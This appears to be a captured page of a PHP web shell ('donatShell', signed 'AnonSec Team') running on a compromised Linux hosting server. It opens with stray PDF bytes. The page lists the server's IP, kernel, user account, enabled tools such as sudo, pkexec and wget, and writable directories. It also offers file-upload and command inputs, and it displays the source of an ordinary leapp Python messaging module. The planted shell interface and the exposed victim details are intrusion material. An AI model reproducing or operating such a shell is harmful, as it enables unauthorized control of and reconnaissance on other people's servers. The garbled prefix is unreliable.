%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY donat Was Here
donatShell
Server IP : 188.40.95.74  /  Your IP : 216.73.216.205
Web Server : Apache
System : Linux cp01.striminghost.net 3.10.0-1160.119.1.el7.tuxcare.els13.x86_64 #1 SMP Fri Nov 22 06:29:45 UTC 2024 x86_64
User : vlasotin ( 1054)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python2.7/site-packages/leapp/messaging/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /lib/python2.7/site-packages/leapp/messaging/inprocess.py
import os

from leapp.messaging import BaseMessaging
from leapp.utils.audit import Message, Audit, MessageData, get_messages


class InProcessMessaging(BaseMessaging):
    """
    This class implements the direct database access for the messaging.
    """

    def _process_message(self, message):
        message['event'] = 'new-message'
        message_keys = ('stamp', 'topic', 'actor', 'phase', 'hostname', 'context', 'msg_type')
        audit_keys = ('event', 'stamp', 'data', 'actor', 'phase', 'hostname', 'context')
        message['msg_type'] = message.pop('type')
        payload = message.pop('message')
        msg = Message(**dict(((k, message[k]) for k in message_keys if k in message)))
        audit = Audit(**dict(((k, message[k]) for k in audit_keys if k in message)))
        audit.message = msg
        audit.message.data = MessageData(data=payload['data'], hash_id=payload['hash'])
        audit.store()
        return message

    def _perform_load(self, consumes):
        context = os.environ.get('LEAPP_EXECUTION_ID', 'TESTING-CONTEXT')
        self._data = get_messages([consume.__name__ for consume in consumes], context)

Anon7 - 2022
AnonSec Team